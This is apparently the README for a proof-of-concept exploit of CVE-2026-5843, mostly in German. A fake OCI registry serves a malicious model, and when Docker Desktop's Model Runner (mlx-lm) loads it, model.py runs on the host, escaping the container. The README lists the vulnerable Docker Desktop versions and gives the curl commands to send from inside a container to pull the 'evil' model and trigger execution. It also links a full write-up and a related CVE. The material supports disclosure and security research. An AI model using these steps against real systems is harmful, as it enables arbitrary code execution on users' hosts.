CVE-2026-5843 PoC

Minimale OCI-Registry, die ein bösartiges Modell bereitstellt, um den model_file-Importlib-Ausführungspfad in mlx-lm auszunutzen. Wenn Docker Model Runner das Modell für die Inferenz lädt, wird model.py auf dem Host als angemeldeter Benutzer ausgeführt.

Erfordert: Docker Desktop ≤ 4.70.x (Apple Silicon) mit aktiviertem Model Runner

Verwendung

# 1. Start the registry on the host
python3 poc_cve_2026_5843.py

# 2. From any container on the Docker network
docker run -it --rm curlimages/curl sh

curl -X POST http://model-runner.docker.internal/api/pull \
  -H 'Content-Type: application/json' \
  -d '{"name":"localhost:5555/evil/model:latest"}'

curl --max-time 120 -X POST http://model-runner.docker.internal/engines/mlx/v1/chat/completions \
  -H 'Content-Type: application/json' \
  -d '{"model":"localhost:5555/evil/model:latest","messages":[{"role":"user","content":"hi"}]}'

Die Ausgabe wird auf dem Host unter ~/Desktop/mlx.txt geschrieben.

Vollständiger Bericht: https://davidrochester.com/posts/container-escape-via-inference

Verwandte CVEs

• CVE-2026-5817 — vllm-metal trust_remote_code=True, gleiche Angriffsfläche, in Docker Desktop 4.68.0 behoben.